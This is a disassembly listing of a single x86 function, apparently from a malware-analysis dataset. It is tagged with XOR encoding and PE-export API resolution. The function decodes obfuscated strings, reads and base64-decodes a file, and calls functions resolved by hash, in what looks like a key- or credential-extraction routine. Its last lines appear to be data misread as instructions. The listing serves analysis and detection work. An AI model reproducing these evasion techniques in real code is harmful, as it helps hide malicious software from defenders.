Function at 0x42b440
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xf8
mov dword [esp + 8], 0xf93dfbdf
mov dword [esp + 0xc], 0xfd6eff68
mov dword [esp + 0x10], 0xf155f338
mov dword [esp + 0x14], 0xf551f764
mov dword [esp + 0x18], 0xe9eaeb2f
lea ebp, [esp + 0x1c]
mov byte [esp + 0x1c], 0
mov ecx, 0x7f
mov edx, 0x80
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x77]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x84
sub al, bl
mov byte [esp + ecx - 0x77], al
inc ecx
dec edx
cmp ecx, 0x94
jne 0x42b490
lea esi, [esp + 0xb2]
lea eax, [esp + 8]
mov edi, esi
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xc6]
xor ecx, ecx
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
lea edi, [esp + 0x68]
push edi
push 0
push 0
push 9
push esi
push 0
call dword [0x44e474]
mov ebx, dword [esp + 0x68]
test ebx, ebx
jns 0x42b4f8
mov eax, 0xffffffff
jmp 0x42b4fb
lea eax, [ebx + ebx]
push eax
call fcn.0040c9c0
add esp, 4
push edi
push ebx
mov dword [esp + 0x44], eax
push eax
push 9
push esi
push 0
call dword [0x44e474]
mov dword [esp + 8], 0x970f9924
mov dword [esp + 0xc], 0x930d951b
mov dword [esp + 0x10], 0x8f009103
mov dword [esp + 0x14], 0x8b8a8d10
lea esi, [esp + 0x18]
mov byte [esp + 0x18], 0
mov eax, 0xadf9cb26
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x520634e2]
xor ecx, eax
add ecx, 0x9a1f0841
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 0x520634e2], cl
inc eax
cmp eax, 0xadf9cb37
jne 0x42b550
lea edi, [esp + 0xa2]
lea edx, [esp + 8]
mov ecx, 4
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xb2]
mov edx, esi
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp + 8], 0xc95dcb70
mov dword [esp + 0xc], 0xc55bc745
mov dword [esp + 0x10], 0xc14cc355
mov dword [esp + 0x14], 0xbd03bf5c
mov dword [esp + 0x18], 0xb928bb23
mov dword [esp + 0x1c], 0xb538b727
mov dword [esp + 0x20], 0xb1b2b333
lea esi, [esp + 0x24]
mov byte [esp + 0x24], 0
mov ecx, 0x772112b3
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x772112ab]
mov edx, ecx
and edx, edi
mov ebp, edx
and ebp, 2
mov eax, edx
or eax, 0xfffffffd
inc eax
mov ebx, edx
and ebx, 0xfffffffd
imul ebx, eax
or edx, 2
imul edx, ebp
lea eax, [ecx + edi]
add ebx, edi
sub ebx, edx
add ebx, ecx
and eax, 1
xor ebx, 0x81
lea eax, [ebx + eax*2]
mov byte [esp + ecx - 0x772112ab], al
inc ecx
cmp ecx, 0x772112d0
jne 0x42b5f0
lea edx, [esp + 0xdc]
lea eax, [esp + 8]
mov edi, edx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xf8]
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [esp + 8], 0x936b914c
mov dword [esp + 0xc], 0xaf4dad5f
mov dword [esp + 0x10], 0xab58a95f
mov dword [esp + 0x14], 0xa776a558
mov dword [esp + 0x18], 0xa360a14c
lea esi, [esp + 0x1c]
mov word [esp + 0x1c], 0xbdbc
mov dword [esp + 0x1e], 0
mov word [esp + 0x22], 0
mov ecx, 0x1c
mov edi, 3
nop
nop
nop
nop
mov eax, edi
and eax, 0xa
mov ebx, ecx
and ebx, 0x35
or ebx, eax
xor bl, byte [esp + ecx - 0x14]
xor bl, 0xca
add bl, 0xb4
mov byte [esp + ecx - 0x14], bl
inc ecx
dec edi
cmp ecx, 0x38
jne case.default.0x42b737
lea ebx, [esp + 0xc6]
lea eax, [esp + 8]
mov edi, ebx
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xda]
mov ecx, 1
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
lea eax, [esp + 0xa2]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], edx
mov dword [esp + 0x9c], ebx
mov esi, dword [esp + 0x3c]
mov eax, esi
add eax, 2
mov dword [esp + 0x60], eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x4c], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x44a984]
jmp dword [0x44a998]
jmp dword [0x44a99c]
push esi
call fcn.0040c9d0
add esp, 4
mov eax, dword [case.0x42b737.54]
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 0x4c]
and al, 1
add esp, 0xf8
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x78]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44a984]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + ecx + 0x94]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42b7b0
mov dword [esp + 0x48], ecx
mov dword [esp + 0x54], eax
mov edx, eax
sar edx, 1
mov eax, dword [esp + 0x68]
lea ecx, [edx + eax]
mov dword [esp + 0x58], edx
lea edi, [edx + eax]
add edi, 0xd
lea ebx, [ecx*2 + 0x1a]
jmp dword [0x44a9a4]
mov eax, 0xffffffff
test edi, edi
js 0x42b7f0
mov eax, ebx
push eax
call fcn.0040c9c0
add esp, 4
movzx ecx, word [esi]
test cx, cx
je 0x42b821
mov edx, dword [esp + 0x60]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b810
mov word [eax], 0x5c
mov dword [esp + 8], 0x29662b78
mov dword [esp + 0xc], 0x2d8b2f99
mov dword [esp + 0x10], 0x319e338b
mov dword [esp + 0x14], 0x35633750
jmp case.0x42b737.7
mov word [ecx], 0x5c
mov dword [esp + 8], 0x29662b78
mov dword [esp + 0xc], 0x2d8b2f99
mov dword [esp + 0x10], 0x319e338b
mov dword [esp + 0x14], 0x35633750
mov dword [esp + 0x18], 0x399d3b80
mov dword [esp + 0x1c], 0x3d953f8c
mov word [esp + 0x20], 0x33c
lea edx, [esp + 8]
mov byte [edx + 0x1c], 0
mov word [edx + 0x1a], 0
jmp dword [0x44a9ac]
mov eax, 0xffffffff
test edi, edi
js 0x42b8ab
mov eax, ebx
push eax
call fcn.0040c9c0
add esp, 4
movzx edx, word [esi]
mov ecx, eax
test dx, dx
je 0x42b850
mov ebp, dword [esp + 0x60]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebp]
add ebp, 2
test dx, dx
jne 0x42b8d0
jmp 0x42b850
add ecx, 2
xor edx, edx
cmp edx, 0x1c
ja 0x42b946
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + edx + 8]
lea edi, [edx + 0x1481787]
lea ebx, [edx + 0x87]
and ebx, ebp
mov esi, 0x7eb7e878
sub esi, edx
and esi, 0x7a80c007
and edi, 0x1001538
or edi, esi
xor edi, ebp
xor edi, 0x5373d78
or edi, ebx
lea ebx, [edi + edi]
not ebx
add ebx, edi
add bl, 0x5d
mov byte [esp + edx + 8], bl
inc edx
cmp edx, 0x1c
jbe 0x42b900
mov esi, dword [esp + 0x48]
movzx edx, word [esi]
test dx, dx
je 0x42b980
lea edi, [esi + 2]
mov esi, dword [esp + 0x3c]
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42b960
jmp 0x42b984
mov esi, dword [esp + 0x3c]
mov word [ecx], 0
movzx edx, word [esp + 8]
test dx, dx
je 0x42b9b1
lea edi, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42b9a0
mov word [ecx], 0
lea ecx, [esp + 0x64]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x6c], eax
push eax
call fcn.00442b50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a9b4]
xor ebx, ebx
mov ecx, dword [esp + 0x5c]
jmp dword [0x44aa24]
push ecx
call fcn.0040c9d0
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44aa3c]
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0x6c]
call fcn.00442eb0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
xor ecx, ecx
jmp dword [eax*4 + 0x44a9cc]
jmp dword [0x44a9dc]
mov edi, dword [esp + 0x84]
lea eax, [edi + 1]
push eax
call fcn.0040c9c0
add esp, 4
mov ebp, eax
push 0
push edi
push eax
push dword [esp + 0x70]
call fcn.00442f90
add esp, 0x10
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44a9e4]
mov eax, dword [esp + 0x84]
mov byte [ebp + eax], 0
push ebp
call fcn.00403d70
add esp, 4
mov edi, eax
xor eax, eax
test edi, edi
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x44a9ec]
mov dword [esp + 0x6c], ebp
push edi
call fcn.004046c0
xor edx, edx
add esp, 4
mov dword [esp + 8], 0xf4effafd
mov dword [esp + 0xc], 0xe1e2e8e2
mov dword [esp + 0x10], 0xfcf8f03a
mov dword [esp + 0x14], 0xe9eae0ea
mov dword [esp + 0x18], 0xcfffbfb
mov word [esp + 0x1c], 0x1807
mov byte [esp + 0x1e], 0xa2
lea ecx, [esp + 8]
mov byte [ecx + 0x19], 0
mov word [ecx + 0x17], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
add cl, 0x6d
xor cl, byte [esp + edx + 8]
add cl, 0xdf
mov byte [esp + edx + 8], cl
inc edx
cmp edx, 0x1a
jne 0x42baf0
lea ecx, [esp + 8]
push ecx
push eax
call fcn.00404800
add esp, 8
mov ebp, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
add ecx, 3
cmp byte [eax + ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x42bb20
shr ecx, 2
mov edx, ebp
mov dword [esp], ebp
movzx edx, byte [eax + ebp - 1]
cmp edx, 0x3d
je 0x42bb44
cmp edx, 0x2e
jne 0x42bb45
dec ecx
mov dword [esp + 0x70], edi
mov edx, dword [esp]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
mov dword [esp + 0x50], eax
je 0x42bb5f
cmp edx, 0x2e
jne 0x42bb60
dec ecx
mov dword [esp + 0x88], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c9c0
add esp, 4
mov dword [esp + 0x44], eax
cmp dword [esp], 0
mov ebp, dword [esp + 0x50]
je 0x42bc98
xor esi, esi
mov edi, 2
jmp 0x42bbaa
mov ebp, dword [esp + 4]
lea eax, [edi + 4]
add edi, 2
mov esi, ebp
cmp edi, edx
mov edi, eax
mov ebp, dword [esp + 0x50]
jae 0x42bc98
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.00420d10
add esp, 4
mov byte [esp + 4], al
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.00420d10
mov edx, dword [esp + 4]
add esp, 4
movzx ecx, byte [esp + 4]
shl cl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, cl
lea ecx, [esi + 1]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x74], esi
mov byte [ecx + esi], ah
cmp edi, edx
jae 0x42bb90
mov byte [esp + 0x43], al
movzx eax, byte [ebp + edi]
push eax
call fcn.00420d10
mov edx, dword [esp + 4]
add esp, 4
cmp al, 0x40
mov ebp, dword [esp + 4]
je 0x42bb94
mov byte [esp + 4], al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x3c
add eax, ecx
inc eax
cwde
sar eax, 2
movzx ecx, byte [esp + 0x43]
shl cl, 4
movzx ecx, cl
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [eax + edx*2]
mov edx, dword [esp]
mov esi, dword [esp + 0x74]
lea ebp, [esi + 2]
mov ecx, dword [esp + 0x44]
mov byte [ecx + esi + 1], al
lea eax, [edi + 1]
cmp eax, edx
jae 0x42bb94
mov eax, dword [esp + 0x50]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.00420d10
mov edx, dword [esp + 4]
add esp, 4
cmp al, 0x40
movzx ecx, byte [esp + 4]
je 0x42bb94
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x44]
mov esi, dword [esp + 0x74]
mov byte [ecx + esi + 2], al
add esi, 3
mov ebp, esi
jmp 0x42bb94
mov eax, dword [esp + 0x88]
add eax, 0xfffffffb
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x44]
add eax, 5
mov dword [esp + 0x90], eax
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44e484]
call fcn.00442130
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x8c]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a9f4]
mov dword [esp], 0
mov edi, dword [esp + 0x70]
mov ebp, dword [esp + 0x6c]
mov esi, dword [esp + 0x3c]
jmp dword [0x44aa04]
mov eax, dword [esp + 0x54]
add eax, 0x10
cmp dword [esp + 0x58], 0xfffffff8
mov ebp, dword [esp + 0x6c]
mov esi, dword [esp + 0x3c]
jge 0x42bd38
mov eax, 0xffffffff
push eax
call fcn.0040c9c0
add esp, 4
mov edx, eax
mov dword [esp + 8], 0x31da3f0d
mov dword [esp + 0xc], 0x350c33c0
mov dword [esp + 0x10], 0xc9be37c0
mov dword [esp + 0x14], 0xcdcacb3c
lea eax, [esp + 0x18]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x75
xor cl, byte [esp + eax + 8]
add cl, 0xb7
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x13
jne 0x42bd80
mov eax, dword [esp + 0x48]
movzx ecx, word [eax]
mov edi, edx
mov eax, edx
test cx, cx
je 0x42bdc1
mov eax, dword [esp + 0x48]
lea edx, [eax + 2]
mov eax, edi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bdb0
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42bdf1
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bde0
mov word [eax], 0
mov ecx, dword [esp + 0x10c]
push dword [esp + 0x7c]
push dword [esp + 0x84]
push edi
call fcn.0040d390
mov dword [esp], eax
jmp dword [0x44a9fc]
push edi
call fcn.0040c9d0
add esp, 4
push 0xbe5098bb
push dword [0x44e46c]
call fcn.00442130
add esp, 8
push dword [esp + 0x80]
call eax
mov edi, dword [esp + 0x70]
jmp dword [0x44aa04]
push dword [esp + 0x44]
call fcn.0040c9d0
add esp, 4
push edi
call fcn.00404930
add esp, 4
mov ecx, dword [esp]
mov eax, dword [case.0x42b737.36]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44aa1c]
push ebp
mov edi, ecx
call fcn.0040c9d0
mov ecx, edi
add esp, 4
mov dword [esp], ecx
mov eax, dword [esp + 0x64]
mov dword [esp + 8], 0x181b1a1d
mov byte [esp + 0xc], 0
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x7b
xor cl, byte [esp + ebx + 8]
add cl, 0x99
mov byte [esp + ebx + 8], cl
inc ebx
cmp ebx, 5
jne 0x42bea0
mov edx, dword [0x44e478]
test edx, edx
mov ecx, dword [esp + 0x5c]
je 0x42bef0
mov edi, dword [esp + 8]
xor ebx, ebx
mov ebp, dword [0x44e47c]
cmp dword [ebp + ebx*8], 0xb62b8d10
je 0x42bee1
inc ebx
cmp edx, ebx
jne 0x42bed0
jmp 0x42bef0
mov edx, dword [ebp + ebx*8 + 4]
cmp edx, edi
jne 0x42c249
nop
nop
nop
mov ebx, dword [esp]
jmp dword [0x44aa24]
movzx eax, bl
jmp dword [eax*4 + 0x44aa3c]
mov eax, dword [esp + 0x68]
mov edx, dword [esp + 0x58]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42bf23
mov eax, 0xffffffff
push eax
call fcn.0040c9c0
add esp, 4
movzx ecx, word [esi]
mov esi, eax
test cx, cx
je 0x42bf51
mov edx, dword [esp + 0x60]
mov esi, eax
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42bf40
mov dword [esp], eax
mov dword [esp + 4], esi
mov word [esi], 0x5c
mov dword [esp + 8], 0x21722780
mov dword [esp + 0xc], 0x3d9f2391
mov dword [esp + 0x10], 0x398a3f9f
mov dword [esp + 0x14], 0x35973b58
mov dword [esp + 0x18], 0x318737b8
mov dword [esp + 0x1c], 0xd913382
mov dword [esp + 0x20], 0x9b10fb5
mov dword [esp + 0x24], 0x5be0bac
mov dword [esp + 0x28], 0x18807bb
mov dword [esp + 0x2c], 0x1db603bf
mov dword [esp + 0x30], 0x19bc1fa0
mov word [esp + 0x34], 0x1b18
lea eax, [esp + 8]
mov byte [eax + 0x32], 0
mov dword [eax + 0x2e], 0
mov esi, 0x89
mov edx, 0x7d5ad776
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + esi - 0x81]
mov eax, esi
and eax, ebx
mov ebp, ebx
not ebp
and ebp, edx
mov edi, edx
xor edi, ebx
mov ecx, esi
xor ecx, ebx
sub ecx, ebx
add ecx, eax
sub ebx, edi
add ebx, ebp
or ebx, ecx
add bl, 0x53
mov byte [esp + esi - 0x81], bl
inc esi
dec edx
cmp esi, 0xbc
jne 0x42bfe0
mov edi, dword [esp + 4]
add edi, 2
mov esi, dword [esp + 0x48]
movzx ecx, word [esi]
test cx, cx
je 0x42c053
lea edx, [esi + 2]
mov eax, dword [esp + 0x54]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c040
jmp 0x42c057
mov eax, dword [esp + 0x54]
mov word [edi], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42c081
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c070
mov word [edi], 0
add eax, 0x12
cmp dword [esp + 0x58], 0xfffffff7
jge 0x42c095
mov eax, 0xffffffff
push eax
call fcn.0040c9c0
add esp, 4
mov ebp, eax
mov dword [esp + 8], 0x93e691a7
mov dword [esp + 0xc], 0xaf20add1
mov dword [esp + 0x10], 0xabdea9d5
mov dword [esp + 0x14], 0xa7c4a5d8
mov word [esp + 0x18], 0xa1a0
lea eax, [esp + 8]
mov word [eax + 0x16], 0
mov dword [eax + 0x12], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x1c
xor cl, byte [esp + eax + 8]
add cl, 0x74
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 0x18
jne 0x42c0e0
movzx ecx, word [esi]
mov eax, ebp
test cx, cx
je 0x42c121
add esi, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x42c110
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42c151
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c140
mov word [eax], 0
mov dword [esp + 8], 0x919e9fc6
lea eax, [esp + 8]
mov byte [eax + 6], 0
mov word [eax + 4], 0
mov eax, 0x1dd74c25
mov ecx, 0x28b3da
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x1dd74c1d]
mov esi, ecx
and esi, 0x28b21f
or esi, 0x620001c0
xor esi, edx
and esi, eax
mov edi, esi
and edi, 2
mov ebx, esi
or esi, 2
imul esi, edi
xor edi, 2
and ebx, 0x2d
imul ebx, edi
add esi, ebx
lea edi, [ecx - 0x28b380]
and edi, esi
mov ebx, esi
xor ebx, eax
add edi, edi
sub ebx, edi
add bl, dl
add bl, 0x47
mov byte [esp + eax - 0x1dd74c1d], bl
inc eax
dec ecx
cmp eax, 0x1dd74c2c
jne 0x42c180
push 0
push 0
push 0xc00000
lea eax, [esp + 0x14]
push eax
mov edi, dword [esp + 0x10]
push edi
push ebp
push dword [esp + 0x124]
call fcn.004241d0
add esp, 0x1c
mov ecx, dword [esp + 0x4c]
and cl, 1
or cl, al
mov dword [esp + 0x4c], ecx
jmp dword [0x44aa44]
push ebp
call fcn.0040c9d0
add esp, 4
mov esi, dword [esp + 0x3c]
jmp dword [0x44aa4c]
mov esi, dword [esp + 0x3c]
jmp dword [0x44aa4c]
push edi
call fcn.0040c9d0
add esp, 4
mov ecx, dword [esp + 0x78]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44a984]
push eax
push 1
push dword [0x44e480]
push edx
call fcn.0043fae0
mov ecx, dword [esp + 0x6c]
add esp, 0x10
mov ebx, dword [esp]
jmp dword [0x44aa24]
int3
lea ebx, [esp + 0x38]
push ebx
push 0
push 0
push 0x1f
push esi
push 0
call dword [0x44e474]
mov ebp, dword [esp + 0x38]
lea eax, [ebp*2]
test ebp, ebp
jns 0x42cbfa
mov eax, 0xffffffff
push eax
call fcn.0040c9c0
add esp, 4
mov edi, eax
push ebx
push ebp
push eax
push 0x1f
push esi
push 0
call dword [0x44e474]
lea eax, [esp + 0x18]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00442b50
add esp, 0x14
jmp dword [0x44aa6c]
mov bh, 0x42
add byte [esi + 0x400042b7], dl
mov bh, 0x42
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [esi - 0x49], al
inc edx
add byte [edi + esi*4 + 0x42], cl
add byte [ebp - 0x49], dl
inc edx
add byte [eax - 0x1affbd48], ah
mov bh, 0x42
add al, dh
mov eax, 0xb8a00042
inc edx
add ch, bl
mov ecx, 0xba000042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x3e], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x300042be], al
mov edx, 0xba300042
inc edx
add byte [eax], dh
mov edx, 0xba360042
inc edx
add byte [eax], dh
mov edx, 0xbe5e0042
inc edx
add byte [ecx - 0x46], ch
inc edx
add byte [esi - 0x42], bl
inc edx
add byte [eax + 0x40042ba], dl
mov ebp, 0xbd1d0042
inc edx
add byte [edi], dl
mov esi, 0xbe200042
inc edx
add byte [esi - 0x42], al
inc edx
add byte [edx - 0x42], dl
inc edx
add byte [eax - 0x42], dh
inc edx
add byte [eax - 0x42], dh
inc edx
add byte [eax - 0x42], dh
inc edx
add byte [edx - 0x42], dh
inc edx
add byte [eax - 0x42], bh
inc edx
add byte [ebp - 0x16ffbd42], al
mov ecx, 0xbef90042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, bh
mov esi, 0x10042
add byte [eax], al
xor byte [edi - 0x40fcffbe], 0x42
add byte [536888002], cl
ret 0x42